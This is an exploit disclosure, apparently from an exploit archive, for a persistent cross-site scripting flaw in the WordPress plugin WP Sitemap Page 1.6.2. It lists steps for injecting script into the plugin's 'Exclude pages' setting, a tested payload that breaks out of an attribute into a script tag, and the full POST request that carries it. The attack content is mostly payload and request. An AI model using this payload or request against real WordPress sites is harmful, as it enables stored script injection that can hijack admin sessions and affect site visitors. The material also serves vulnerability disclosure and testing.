WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting

# Exploit Title: WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting
# Dork:N/A
# Date: 2020-02-17
# Exploit Author: UltraSecurityTeam
# Team Member = Ashkan Moghaddas , AmirMohammad Safari , Behzad khalife , Milad Ranjbar
# Vendor Homepage: UltraSec.Org
# Software Link: https://downloads.wordpress.org/plugin/wp-sitemap-page.zip
# Tested on: Windows/Linux
# Version: 1.6.2



.:: Plugin Description ::.
An easy way to add a sitemap on one of your pages becomes reality thanks to this WordPress plugin. Just use the shortcode [wp_sitemap_page] on any of your pages. This will automatically generate a sitemap of all your pages and posts


.:: Proof Of Concept (PoC) ::.

Step 1 - Open WordPress Setting 
Step 2 - Open Wp Sitemap Page
Step 3 - Inject Your Java Script Codes to  Exclude pages 
Step 4 - Click Button Save Changes
Step 5 - Run Your Payload


.:: Tested Payload ::.
'>"><script>alert(/XSS By UltraSecurity/)</script>


.:: Post Request ::.
option_page=wp-sitemap-page&action=update&_wpnonce=de5e7c2417&_wp_http_referer=%2Fwp%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp_sitemap_page%26settings-updated%3Dtrue&wsp_posts_by_category=&wsp_exclude_pages=%27%3E%22%3E%3Cscript%3Ealert%28%2FXSS+By+UltraSecurity%2F%29%3C%2Fscript%3E&wsp_exclude_cpt_archive=1&wsp_exclude_cpt_author=1&submit=Save+Changes